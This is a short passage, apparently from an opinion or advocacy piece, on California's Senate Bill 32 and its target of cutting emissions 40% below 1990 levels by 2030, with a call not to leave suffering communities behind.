The passage of Senate Bill 32 obligated the state to reduce emissions 40% below the 1990 level by 2030. It is an ambitious target that has, again, made California one of the world leaders in fighting climate change.  California can continue its world leadership on climate change, but state leaders can’t leave suffering communities behind.
